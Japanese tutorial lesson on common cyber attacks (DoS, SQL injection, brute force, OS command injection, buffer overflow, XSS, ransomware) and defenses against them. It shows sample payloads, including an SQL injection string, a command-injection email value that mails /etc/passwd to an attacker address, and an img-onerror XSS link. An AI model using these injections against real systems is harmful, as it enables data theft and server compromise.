Lesson 5

サイバー攻撃

Lesson 5 Chapter 1
DoS攻撃・DDos攻撃

レッスン4では大切な情報を守るためのセキュリティ基礎について学習しました。
なぜ、情報を守る必要があるのでしょうか?それは、攻撃を仕掛けてくるものがいるからです。 本レッスンでは、インターネットを利用した攻撃にどのようなものがあるのかを学び知識を深めましょう。

ネットワークを通じて、サーバーやパソコン・スマホなどの情報端末に対して行う攻撃を「サイバー攻撃」といいます。
手口は年々巧妙化していて、様々な種類の攻撃が見つかっています。 チャプター1では代表的な攻撃の1つ「DoS攻撃・DDoS攻撃」について学習していきます。

DoS攻撃とは

DoS攻撃とは「Denial of Service Attack」の略称で、日本語では「サービスを妨害する攻撃」という意味になります。 悪意を持ってサーバーに大量のデータを送りつけることで、アクセスを集中させ、サーバーをパンクさせるサイバー攻撃です。
DoS攻撃の中には個人でも簡単にできてしまう、有名な「F5アタック」などもあります。 F5アタックは、F5キーを押すとサーバーへ更新がリクエストされるのを利用して、F5キーを連打することによりサーバーに負荷を与え続ける攻撃です。

DDoS攻撃とは

DDoS攻撃とは、「Distributed Denial of Service attack」の略称で、日本語に訳すと「分散型のサービスを妨害する攻撃」という意味になります。 つまり、DoS攻撃を発展させた攻撃です。
一般的にDoS攻撃は1台のPCで行われるのに対し、DDoS攻撃は複数のPCで行われます。1人の攻撃者が他人のコンピュータを乗っ取って「踏み台」として複数のPCで攻撃してくる場合もあります。
DoS攻撃の場合は、攻撃してきたIPアドレスのアクセス回数を制限することにより防止することができましたが、DDoS攻撃の場合、踏み台を利用して次々とPCを変え攻撃することにより、IPアドレスを特定させなかったり、第三者のIPアドレスのため犯人の特定が難しいという特徴があります。

DoS攻撃・DDoS攻撃の種類

DoS攻撃・DDos攻撃には複数の攻撃手法があるのですが、TCPの接続(コネクション)の確立と切断を利用した攻撃もあるので、先に図で確認しておきましょう。 接続が確立するまでの3回のパケットのやり取りは「3(スリー)ウェイハンドシェイク」と呼ばれるものです。

server-lesson5-1 上記のように、TCPでは通信を確実に行うために接続を確立してから通信を行いますが、UDPの場合はTCPのような接続の確立はなく、すぐに通信を行う特徴があります。

では、DoS攻撃・DDoS攻撃にはどのような種類があるのかご紹介します。
以下の表をご覧ください。

名称 内容
SYNフラッド攻撃/FINフラッド攻撃 TCPの接続要求(SYN)や切断要求(FIN)を大量に送信する攻撃。
この攻撃はシステムに負荷がかかりやすく、隙をついて不正アクセスを仕掛けられる。
ACKフラッド攻撃 TCPの応答に使われるACKパケットを大量に送る攻撃。
WebサーバーはACKパケットを単体で受け取っても無効として破棄するため、大量に送ることで破棄に時間がかかる。
UDPフラッド攻撃 偽装したIPアドレスでUDPを利用してDDoS攻撃を仕掛ける方法。
Slow HTTP DoS Attack 少ないパケット量を長時間に渡ってTCPセッションが継続するようにWebサーバーのTCPセッションを占有することで、通常のユーザーがサイトを閲覧できないようにする。
DNSフラッド攻撃 DNSサーバーに対して、大量のリクエストを送信することで、通常のユーザーからの名前解決を妨害する。

DoS攻撃・DDoS攻撃には多くの種類がありますが、どの攻撃も不正なデータを大量に送り込み、サーバーを機能停止に追い込もうとする特徴があります。

攻撃の目的

DoS攻撃・DDoS攻撃を行う目的はいったい何なのでしょうか?
主な目的と言われているものを以下の表でご紹介します。

目的 内容
愉快犯 恨みや金銭目的ではなく、「単純にやってみたかった」という人が一定数存在。
脅迫行為 企業などに対して、DDoS攻撃を事前に予告し、攻撃の引き換えに身代金の要求などの脅迫行為を行う。
営業妨害 競合しているサイトを攻撃することで、ライバル企業の営業を妨害する。
抗議 運営元に対する不信感や抗議といった目的で攻撃をしかける。政府機関も多く被害を受けている。

DoS攻撃・DDoS攻撃は、攻撃者側のツールも簡単に手に入るので専門知識がなくても実行できてしまいます。 被害に合わないためには適切な対策が必要です。

対策方法

最後にDoS攻撃・DDoS攻撃を防ぐための対策方法を確認しましょう。

  • IPアドレスの制限
  • DoS攻撃の場合は、IPアドレスを特定しそのIPアドレスを遮断することが有効です。 DDos攻撃の場合は、海外サーバーを経由することが多いので、特定の国、もしくは日本向けサイトであれば日本以外の国のアクセスを遮断することも有効です。

  • WAFなどの対策ツールの導入
  • DDoS攻撃の対策として、「WAF(Web Application Firewall)」というWebアプリケーションの保護に特化したツールがあります。 アプリケーション部分への通信やアクセスを監視して、不正なものを検知・遮断することが可能です。

このチャプターではDoS攻撃・DDos攻撃を学習しました。次のチャプターではSQLインジェクション攻撃について学習しましょう。

Lesson 5 Chapter 2
SQLインジェクション攻撃

大量のデータを格納し、効率よく取り出すためにデータベースが使用されています。 そのデータベースを操作して、データの取得や登録・更新・削除を行うための言語がSQLです。
私たちが普段利用しているWebサイトの裏側ではデータベースが使われており、その中に私たちの様々な情報が保存されています。

このチャプターではWebアプリケーションの脆弱性を利用して、データベースを不正に操作する「SQLインジェクション」について学習していきましょう。

SQLインジェクションの攻撃方法

SQLはデータベースを操作するための言語で、「インジェクション」とは「注入」という意味です。 どのようにSQLを注入するのかというと、検索ボックスや入力フォームなどに入力する文字列に不正な操作を行うSQL文を注入することで、データベース内のデータを不正に操作します。

具体的にどのような文字列を入力するのか、簡単な例をご紹介します。
まず、SQLで情報を取得するには、下記のような文になります。

SELECT * FROM  WHERE 

基本的にどのテーブルから情報を取得するのかは、入力するフォームによってアプリケーション側で決まっていますが、取得する条件に関しては入力した値で検索します。
対象がuserテーブルで、nameが「田中太郎」という人を取得する場合、検索ボックスに「田中太郎」と入力すると、SQL文は次のようになります。

SELECT * FROM user WHERE name = '田中太郎'

このようなSQL文が実行されて、データベースからnameが田中太郎で登録しているデータを取得してきます。
ここでもし、適切な対応を行っていないWebサイトの検索ボックスに「田中太郎' or '1' = '1」などと入力した場合

SELECT * FROM user WHERE name = '田中太郎' or '1' = '1'

上記のようなSQL文が実行され、nameが「田中太郎」or(または)'1' = '1'(100%一致する条件)となり、登録されている全員分のデータが表示されてしまいます。

SQLインジェクション攻撃の被害

SQLはデータベースを操作する言語ですので、悪用されると大きな被害を受けてしまいます。 どのような被害があるのか、以下の表でご確認ください。

被害 内容
情報漏洩 不正な操作により、機密情報や個人情報など読み取られてはいけない情報を盗み見られてしまう可能性があります。
情報の改ざん ECサイトなどで、価格などの販売に関わる情報を改ざんされてしまった場合、企業の価値や信用の低下に繋がります。
情報の削除 全データ削除のSQL文は簡単な1行で実行できます。 バックアップされていなかったデータが全て削除されてしまった場合、事業継続も危ぶまる可能性があります。

対策方法

SQLインジェクションを防止するには、SQLインジェクションが実行できないWebアプリケーションを作成することが必要です。

  • プレースホルダを使用する
  • 「プレースホルダ」とは、後から入力される値の代わりに確保しておく場所のようなものです。 上記の例の場合、

SELECT * FROM user WHERE name = ?

のようにプログラム上で作成しておくことで、「?」 には、入力された内容を一塊の文字列としてのみ受け付けるようにすることが可能です。
先ほどの入力値ならnameが「田中太郎' or '1' = '1」で登録しているデータを検索するという意味になります。 ※「?」はJavaなどで使用されているプレースホルダ

  • 入力値を制限する
  • 入力できる文字列を英数字だけに限定し、記号などの入力があった場合は再入力を促すような処理を実装することも有効です。

  • エスケープ処理を行う
  • エスケープ処理とは、プログラム言語が文字列を扱う際に、特別な意味を持つ文字や記号を別の文字に置き換える処理です。
    特別な文字や記号を入力されても、通常の文字列として解釈されるようにすることが可能です。

    そのほか、チャプター1のDoS攻撃・DDoS攻撃でも扱った「WAF」を導入することも有効な対策方法です。

    このチャプターではSQLインジェクション攻撃を学習しました。次のチャプターではブルートフォースアタックについて学習しましょう。

    Lesson 5 Chapter 3
    ブルートフォースアタック

    もしアカウントIDだけが分かっていて、パスワードが分からない場合、どのようにすればパスワードを見つけることができるでしょうか。 パスワードが数字4桁なら「0000」から「9999」まで10000回入力すれば、必ずどこかで見つけることが可能です。 ブルートフォースアタックとは「総当たり攻撃」とも呼ばれ、全てのパターンを力づくで検証する方式です。 このチャプターではブルートフォースアタックについて学習していきましょう。

    ブルートフォースアタックの手口

    ブルートフォースアタックの手口もいくつかの種類が見つかっているので、どのような手口があるのか確認しましょう。

    • 単純な総当たり攻撃
    • 冒頭で説明したような、単純に数字の昇順や文字列の辞書順などのように、順番に1つずつ検証していく方法です。
      人間がやろうとすると膨大な時間がかかる検証でも、コンピュータを使用することで条件によっては瞬時に破られてしまう可能性があります。

    • 過去に解読・流出したパスワードを利用
    • 攻撃者は単に総当たり攻撃するだけでなく、多くの人がパスワードに利用する文字列をまとめたリストを使用する場合があります。 このリストは過去に解読されたり、漏洩したパスワードから作成されているといわれています。 このリストのパスワードを順番に試みることにより、解読する確率をあげています。

    • リバースブルートフォース攻撃
    • パスワードを総当たりするのではなく、IDの方を総当たりする攻撃です。
      この方法は多くの人が使ってしまいそうな単純なパスワードを使用して、攻撃者が持つIDのリストを検証していく方法です。
      例えば、よく使われているパスワードに「123456」や「password」などがあります。 パスワードを「123456」で固定してIDの方を順々に入れ替えて検証します。 「123456」でリストの全IDを試したあとは、パスワードを「password」で固定して全IDを検証します。
      同じサイトで同じIDを使用できないことは多いので、パスワードを検証するよりも確率があがる可能性もあります。

    被害を受けたときの影響

    ブルートフォースアタックを受けて、ログインに成功されてしまうと、該当のアカウントは「乗っ取られた」ということになります。 アカウントが乗っ取られた場合、どのような被害があるのか以下の表で確認しましょう。

    被害 内容
    個人情報の漏洩 攻撃者が乗っ取りに成功すると、サイト内のほとんどの情報が閲覧できてしまいます。
    金銭的被害 銀行口座やクレジットカードと連携したサービスのアカウントが被害に合うと、直接金銭的な被害が発生します。
    別サイトのアカウント乗っ取り 複数のサービスで使い回しているIDとパスワードでログインされてしまった場合、別のサービスでも立て続けに被害にあう可能性があります。
    Webサイトの改ざん Webサイトを管理している管理者のアカウントが被害に合った場合、内容の改ざん・破壊などの被害が発生します。

    どの被害も、普段利用しているサービスで、知らない人に自分のアカウントを利用された場合、どのような被害に合うのかを想像するのは難しくありません。

    ブルートフォースアタックの対策方法

    ブルートフォースアタックは古典的な力づくな方法のため、適切な対策をすればほぼ防ぐことが可能です。

    • 複雑なパスワードを設定する
    • IPA(独立行政法人 情報処理推進機構)の「情報セキュリティ5か条」では、パスワードについて以下のように推奨しています。

      • 英数字記号を含め10文字以上
      • 氏名、電話番号、誕生日の個人情報を使用しない
      • 簡単な英単語を使用しない
      • 同じID・パスワードを他に使いまわさない
    • ログインロックを設定する
    • ログインロックとは、一定回数パスワードを間違えると一時的にアカウントを停止したり、ユーザーに通知を行う設定です。

    • 二段階認証を設定する
    • 二段階認証とは、IDとパスワードで認証したあとに、あらかじめ登録していた電話番号やメールアドレスに認証コードが送られてきて、それを入力してからログインできる仕組みです。

    以上の対策の中からどれか1つだけ行うのではなく、すべて行うことでブルートフォースアタックの被害に合うことは無くなるでしょう。

    このチャプターではブルートフォースアタックを学習しました。次のチャプターではOSコマンド・インジェクション攻撃について学習しましょう。

    Lesson 5 Chapter 4
    OSコマンド・インジェクション攻撃

    本レッスンのチャプター2ではSQLインジェクション攻撃を学習しました。
    SQLインジェクションは不正なSQLを実行しデータベースを操作する攻撃でしたが、コンピュータにインストールしているOSに対して、直接不正なコマンド(命令)を実行させる攻撃を「OSコマンド・インジェクション攻撃」と呼びます。

    このチャプターでは、Webサイトの脆弱性を利用して、不正にOSを操作する「OSコマンド・インジェクション攻撃」について学習しましょう。

    OSコマンド・インジェクション攻撃の仕組み

    まずは、攻撃者がどのようにしてOSにコマンドを実行させるのかの仕組みを学習していきましょう。

    一般的に多く使用されているWebサーバー(Linux系OS)で説明します。
    通常Linux系OSでコマンドを実行するには、bashなどのシェルにコマンドを入力することで実行できます。 また、Webアプリケーションはなんらかのプログラム言語で記述され実行されています。 このWebアプリケーションがプログラムを実行する際に、シェルを起動して、必要な処理を代わりに実行してもらう場合があります。 そのときを狙って、シェルに不正なコマンドを送り実行させるのがOSコマンド・インジェクションの仕組みです。

    例としてWebサイトに、メールアドレス入力欄があり、そこにメールアドレスを入力すると自動的に返信されるサービスがあるとします。
    ※外部プログラムを起動してメールを送信しているプログラムを想定しています。

    以下は、mailxパッケージ(MTAを構築しなくてもSMTPサーバーにメールを転送可能)がインストールされているOSで実行するとメールを送信することができるコマンドです。

    mail -s [タイトル] [宛先アドレス] < [本文が書かれたファイルのパス]

    このコマンドをWebアプリケーションから実行してメールを送信するために、以下のようなプログラムが書かれていました。 ※Nodo.jsを使用してJavascriptで書かれた例です。

    const { execSync } = require("child_process");
    
    function sendEmail(address) {
      execSync(`mail -s "返信メール" ${address} < /var/data/mail.txt`);
    }

    Webサイトのメールアドレス入力欄に「attacker@example.com < /etc/passwd #」と入力されると、以下のようなコマンドが実行されてしまいます。

    mail -s "返信メール" attacker@example.com < /etc/passwd # < /var/data/mail.txt

    「/etc/passwd」はユーザーのアカウント情報が格納されたファイルです。
    ※「#」はコメントの意味で「#」より後ろの部分は無視されます。
    このコマンドが実行されると、攻撃者にサーバーのアカウント情報がメールで送信されてしまいます。

    OSコマンド・インジェクション攻撃の被害

    上記の例は情報漏洩になりますが、サーバーのアカウント情報が漏洩した場合、サーバーが乗っ取られた状態となり、以下のような甚大な被害を及ぼす危険性があります。

    • サーバー内のファイル閲覧・削除・改ざん
    • 不正なシステム操作
    • マルウェアのインストール
    • 他のサーバーへの攻撃の踏み台

    また、サーバーが乗っ取られなかったとしても、上記のような被害は不正なコマンドで実行されてしまう可能性があります。

    OSコマンド・インジェクション攻撃の対策

    OSコマンド・インジェクション攻撃は、プログラム実行中にシェルを起動してコマンドを実行することにより発生します。 攻撃させないためには、どのような対策が有効なのか確認しましょう。

    • OSを操作するコマンドを実装しない
    • プログラム言語には、例で使用している「execSync」のように、シェルを起動してコマンドを実行する関数が用意されていることが多いですが、そのような関数を使用しない実装をするのが最も有効です。

    • シェルを呼出さない関数を使用する
    • 言語によっては、機能は限定されますがシェルを起動せずに外部プログラムを実行できる関数が用意されている場合もあります。 Nodo.jsの場合は「execSync」の他にシェルを起動しない「execFile」という関数も用意されています。

    • バリデーションを厳格に行う
    • 上記2つの対策がどうしてもできない場合は、ユーザーの入力値に対して厳格なバリデーションを行う必要があります。 提供しているサービスに必要な文字以外は受け付けない実装が必要です。

    この他にも、本レッスンで何度か登場している「WAF」の導入も有効な対策方法とされています。

    このチャプターではOSコマンド・インジェクション攻撃を学習しました。次のチャプターではOSバッファオーバーフロー攻撃について学習しましょう。

    Lesson 5 Chapter 5
    バッファオーバーフロー攻撃

    バッファオーバーフロー攻撃を学習するために、前提知識としてメモリについて説明します。

    コンピュータでプログラムを実行すると、OSはまずプログラムの実行に必要な領域をメモリ上に確保します。 この、OSが確保する領域は下記の図のように配置されていきます。

    メモリアドレスの低位から順に見ていくと、

    • テキスト領域
    • プログラムの実行命令を格納する領域。
      プログラム領域とも呼ばれる。

    • データ領域
    • 定数・グローバル変数などを格納する領域。
      静的領域とも呼ばれる。

    • ヒープ領域
    • 必要に応じて動的に確保・解放を繰り返す領域。

    • スタック領域
    • 関数内で定義した変数を格納する領域。

    このうちスタック領域とヒープ領域を「バッファ領域」と呼びます。
    プログラム実行時に一時的に扱うデータはバッファ領域に保持して処理を行っています。 関数を実行したり、変数に値を格納したりするときに使用する領域です。

    server-lesson5-5-1

    メモリアドレスの低位・高位

    メモリアドレスは0番地から始まり、順に1番地、2番地…と増えていきます。各アドレスには1バイトづつ管理されています。 メモリアドレスの低位と高位とは、数値の小さい方が低位で、大きい方が高位になります。

    バッファオーバーフロー攻撃は、このメモリのバッファ領域に格納されたデータを、書き換えようとするサイバー攻撃のことです。

    「バッファオーバーフロー」とは、英語で「buffer overflow」になり、日本語に訳すと「バッファが溢れる」という意味になります。 「バッファが溢れる」といっても、冒頭で説明した「バッファ領域」全てが溢れるということではありませんので、これはあとのステップで解説します。
    バッファオーバーフローは、C/C++などの直接メモリを操作できる言語で記述されているプログラムで起こります。
    このチャプターでは意図的にバッファを溢れさせる「バッファオーバーフロー攻撃」について学習していきましょう。

    バッファオーバーフローの仕組み

    「バッファが溢れる」とはどのような状態なのか、詳しく説明していきます。
    バッファ領域では、プログラム内で関数の実行や変数の利用時などに、一時的に必要なサイズを確保して必要なくなったら解放されます。
    一時的に必要なサイズを確保しているだけなので、確保している以上のデータが送られると溢れてしまいます。 溢れた部分は切り捨てられて無くなるのではなく、確保していない領域を上書きしてしまうことになります。 この状態がバッファオーバーフローです。
    攻撃者が確保しているバッファの上限を超える大量のデータを送ることで、オーバーフローを発生させ、隣接したメモリアドレスに不正な上書きをすることでバグを発生させます。

    スタックオーバーフロー

    バッファオーバーフロー攻撃の中でも、代表的な攻撃手法である「スタックオーバーフロー」をご紹介します。

    スタック領域では、関数の呼出しごとに「スタックフレーム」という単位で必要なデータを管理しています。 スタックフレームでは、メモリの高位アドレスから以下のように構成されています。

    • 「リターンアドレス」関数の実行後に戻るアドレス
    • 「ebpレジスタ」ローカル変数にアクセスする際に使用されるレジスタの値
    • 「ローカル変数」関数内で使用する変数
    • 「バッファ」関数内で使用するデータを一時的に保持する領域

    スタックフレームのイメージを下の図で解説していきます。
    最初にエントリーポイントの①main関数が実行されます。
    スタック領域では、実行した順にメモリアドレスの高位から配置されていくため、まず「main関数のスタックフレーム」が配置されます。
    main関数から②func関数を呼び出すと、「main関数のスタックフレーム」の低位に「func関数のスタックフレーム」が配置されます。 func関数が終了すると、「func関数のスタックフレーム」は解放されます。最後に「main関数のスタックフレーム」が解放されプログラムが終了する流れです。

    server-lesson5-5-2

    それでは、スタックフレームの仕組みを踏まえて、スタックオーバーフローが成功する例を見ていきましょう。

    スタックオーバーフローの例

    以下の例では、入力データのチェックを行わずに、確保しているサイズ以上の入力データを受け取ってしまうような、脆弱性のあるプログラムを想定しています。
    例えば、32文字分のバッファを確保していた場合、それより大きいサイズの文字列を受け取るとオーバーフローが発生します。

    1. 攻撃者は「不正コード」と「バッファが溢れる大量のデータ」、「不正データが格納されるアドレス(0xABABCDCD)」を入力して送信。
    2. ①の結果、バッファオーバーフローが発生し、リターンアドレスの上書きに成功。
    3. 書き換えられたリターンアドレスにより、不正コードを格納したアドレスへジャンプ。
    4. 不正コードを実行。

    server-lesson5-5-3

    これがスタックオーバーフローのイメージです。
    実際には、不正コードを格納するアドレスや、リターンアドレスが格納されている位置の特定など、簡単に成功するサイバー攻撃ではありません。 ですが、攻撃が成功した場合、システムの誤作動やコンピュータが乗っ取られるなどの深刻な被害にあってしまいます。

    バッファオーバーフロー攻撃の対策

    バッファオーバーフローによる攻撃が成功するには、次の条件が全て揃う必要があります。

    1. プログラム内部に侵入用のコードを送り込むことが可能
    2. バッファオーバーフローにより、リターンアドレスの書き換えが可能
    3. リターンアドレス先へプログラムの制御を移すことが可能

    上記の条件が1つでも失敗すると攻撃は失敗します。攻撃を阻害するためには次のような対策を行います。

    • 入力データのチェックを厳格に行う
    • 非推奨関数や古くから存在する関数は使用しない
    • メモリを直接操作できる言語を使わない

    C/C++などのメモリを直接操作できるプログラム言語で開発を行う場合は、バッファオーバーフロー攻撃の対策を意識する必要があります。

    このチャプターではバッファオーバーフロー攻撃を学習しました。次のチャプターではクロスサイトスクリプティング攻撃について学習しましょう。

    Lesson 5 Chapter 6
    クロスサイトスクリプティング攻撃

    クロスサイトスクリプティング(略称:XXS)攻撃とは、脆弱性のあるWebサイトの入力フォームや掲示板などに罠を仕掛け、誘導されたユーザーの個人情報などを搾取したり、マルウェアを感染させたりする攻撃です。

    クロスサイトスクリプティング攻撃の流れと仕組み

    クロスサイトスクリプティング攻撃がどのような流れで行われるのか、ひとつの例をご紹介します。

    1. 攻撃者は、クロスサイトスクリプティング攻撃に対して脆弱な企業を探し、その企業の偽サイトを用意します。
    2. ターゲットの企業に興味を持ちそうなユーザーが訪れる掲示板サイトなどを探します。
    3. 掲示板サイトが見つかったら、そのサイト上にスクリプト付きのリンクを貼るなどの罠を仕掛けます。
    4. 掲示板サイトで、罠を仕掛けたリンクをユーザーがクリックするとターゲット企業に遷移します。
    5. 遷移先は実は、ターゲット企業を偽った偽サイトになっています。
    6. ユーザーが個人情報などを入力すると情報が漏れたり、マルウェアに感染したりなどの被害に合ってしまいます。

    server-lesson5-6

    スクリプト

    スクリプトとは、プログラムを実行する際に、コンピュータが理解できる言語への変換作業を省略して、簡単に解釈実行できるようにした簡易プログラムのことです。 書いたプログラムをすぐに実行できるのが特徴です。

    クロスサイトスクリプティング攻撃の種類

    クロスサイトスクリプティングには、主に「反射型」「格納型/蓄積型/持続型」「DOM Based」という3つの種類に分かれます。 ひとつずつご紹介していきます。

    • 反射型クロスサイトスクリプティング攻撃
    • 反射型とは、リクエストした人にスクリプトが返ってくる攻撃手法です。 攻撃者は偽メールや偽サイトに不正なスクリプトを含んだリンクを用意して、ユーザーを脆弱性のあるWebサイトに誘導します。 リンクをクリックすると、ブラウザで不正なスクリプトが実行され、情報搾取やマルウェア感染などを行います。

    • 格納型/蓄積型/持続型クロスサイトスクリプティング攻撃
    • 格納型/蓄積型/持続型とは、攻撃者が予めWebサイトに直接スクリプトを格納しておく攻撃手法です。 格納することにより、該当のページをユーザーが閲覧するたびに不正なスクリプトが実行されます。(蓄積・持続)
      ユーザーがアクセスするだけで攻撃可能なため、反射型とは異なり掲示板などの罠を仕掛けたサイトを用意する必要はありません。

    • DOM Basedクロスサイトスクリプティング攻撃
    • DOM(Document Object Model)とは、HTMLやXMLを構成する要素をプログラム上で参照・操作するための仕組みです。 この攻撃はサーバー側ではなく、クライアントのWebブラウザ上で不正なスクリプトを実行する攻撃手法です。

      他の2つの攻撃手法と少し違うので、どのような仕組みなのか一例を示します。

      前提知識として、まずJavaScriptには、現在閲覧中サイトのURLに関連する情報を持った「location」というオブジェクトがあります。
      locationは「hash」というプロパティを持っていて、これはURLに「#」が含まれている場合に、「#~」の文字列を返すものです。 もしURLが「http://sample.com#test」だった場合の「location.hash」は「#test」を返します。
      以上を踏まえて、以下のようなコードが書かれた「http://sample.com」というURLのサイトがあったとします。

    <div id="information">情報</div>
    
    <script>
      div = document.getElementById("information");
      div.innerHTML = location.hash.substring(1);
    </script>

    上記のようなサイトを見つけた攻撃者は、以下のような罠を仕掛けたサイトを用意します。

    <a href="http://sample.com#<img src="1" onerror="不正コード">リンク</a>

    リンクをクリックしてしまうと、「不正コード」に書かれたコードが実行されてしまいます。 ※最新のブラウザでは、上記のような例でも不正コードを実行しないように対応済です。

    img onerror

    「<img src="1" onerror="不正コード">」は、XSS脆弱性をつくときによく利用される非推奨なコードです。 srcに存在しないパスを設定するとonerrorが発火することを利用し、「不正コード」部分に書かれたJavaScriptを実行させます。

    クロスサイトスクリプティング攻撃の被害

    クロスサイトスクリプティング攻撃を受けるとどのような被害に合うのか確認しましょう。

    • セッションハイジャック
    • セッションハイジャックとはなりすましの一種です。 攻撃者は不正に入手したIDやパスワードを使用して、ユーザーがアクセスしたWebサイトのセッションを奪い取ります。 奪い取られてしまうと、個人情報の漏洩、金銭的被害などを受ける可能性があります。

    • フィッシング詐欺
    • フィッシング詐欺は、実在する企業やサービスのWebサイトを装った偽サイトを作成し、そこにユーザーを誘導して、個人情報を入力させる手法です。 入力した情報はすべて攻撃者に渡る可能性があります。

    • 不正プログラムの感染
    • クロスサイトスクリプティングにより、不正なWebサイトを表示させて、ユーザーに不正なプログラムをダウンロードするように促し、マルウェアに感染させる被害もあります。

    クロスサイトスクリプティング攻撃の対策

    クロスサイトスクリプティング攻撃の対策方法は、開発者側が対策することと、利用者側で対策することに分かれます。

    • サニタイジングを行う
    • サニタイジングとは、ユーザーが入力した内容をチェックして、特殊な意味を持つ文字を、無害な文字に変換する処理をいいます。

    • 入力値の制限
    • ユーザーが入力できる値を制限するのも有効です。 数字以外の入力が必要ない場合は、数字以外の入力を許可しないようにすることでスクリプトの挿入ができなくなります。

    • ブラウザを最新のものにアップデートする
    • クロスサイトスクリプティングはブラウザの脆弱性を突いた部分もあるので、最新にアップデートすることで対応できることもあります。

    • 不審はURLをクリックしない
    • 罠を仕掛けているサイトへのリンクの可能性もあるので、不審なリンクは安易にクリックしない方が安全です。

    また、このレッスンで何度か登場している「WAF」の導入も有効な対策方法とされています。

    このチャプターではクロスサイトスクリプティング攻撃を学習しました。次のチャプターではランサムウェアについて学習しましょう。

    Lesson 5 Chapter 7
    ランサムウェア

    ランサムウェアとは、「Ransom(ランサム)」という身代金を意味する単語とソフトウェアを組み合わせた造語です。
    コンピュータに保存されているデータを暗号化して使用できない状態にした上で、そのデータを元に戻すことと引き換えに金銭を要求する不正プログラムのことをランサムウェアと呼びます。

    ランサムウェアの種類

    代表的なランサムウェアを、以下の表に記載しましたのでご覧ください。

    名称 内容
    WannaCry
    (ワナクライ)
    2017年に世界規模で猛威をふるったランサムウェア。
    Windowsの脆弱性を狙い、アップデートしていないパソコンに感染。
    感染するとファイルが全て暗号化され、復元する代わりに金銭を要求する脅迫画面が表示される。
    Cryptowall
    (クリプトウォール)
    2014年にリリースされたランサムウェア。
    主にフィッシングサイトから感染しファイルを暗号化する。
    復号と引き換えに身代金を要求する。
    PETYA/GoldenEye
    (ペトヤ/ゴールデンアイ)
    「PC内のデータを暗号化する機能」、「OSの読み込み領域を書き換え、PCをロックする機能」、「ネットワーク内のPCに感染する機能」などを持つ強力なランサムウェア。

    ランサムウェアの感染経路

    ランサムウェアは、以下のような経路で感染することが確認されています。

    • Webサイトからの感染
    • 偽装サイトの閲覧や、不正広告の閲覧、ダウンロードしたファイルの開封によって感染。

    • メールからの感染
    • 標的型攻撃メールや、スパムメールの本文に記載されてURLにアクセスしたり、添付されているファイルを開封することにより感染。

    • 外部接続機器からの感染
    • ウィルスがUSBメモリーなどに紛れ込んでしまうと、そのUSBメモリーをPCに接続するだけで自動的に読み込みが始まり感染。

    ランサムウェアの対策方法

    ランサムウェアに感染しないためには、日頃から以下のような対策を徹底することが大切です。

    • 不審なメールやURLは開かない
    • 信頼できない送信元のメールでは、リンクをクリックしたり、添付ファイルを開いたりしないようにしましょう。

    • OSやソフトウェアのアップデート
    • OSや各種ソフトウェアに脆弱性が発覚した場合、各ベンダーは修正用のセキュリティパッチやアップデートを配布します。 OSやソフトウェアを常に最新の状態に保つことで被害の防止に繋がります。

    • データの定期的なバックアップ
    • 万が一に備えて、定期的にデータをバックアップしておきましょう。 バックアップデータが暗号化されてしまう可能性もあるため、バックアップするとき以外はバックアップしたデータをネットワークから切り離しておくことが重要です。

    以上、本レッスンではサイバー攻撃を学習しました。
    次のレッスンでは「障害を防ぐ、障害に対応する」について学習していきましょう。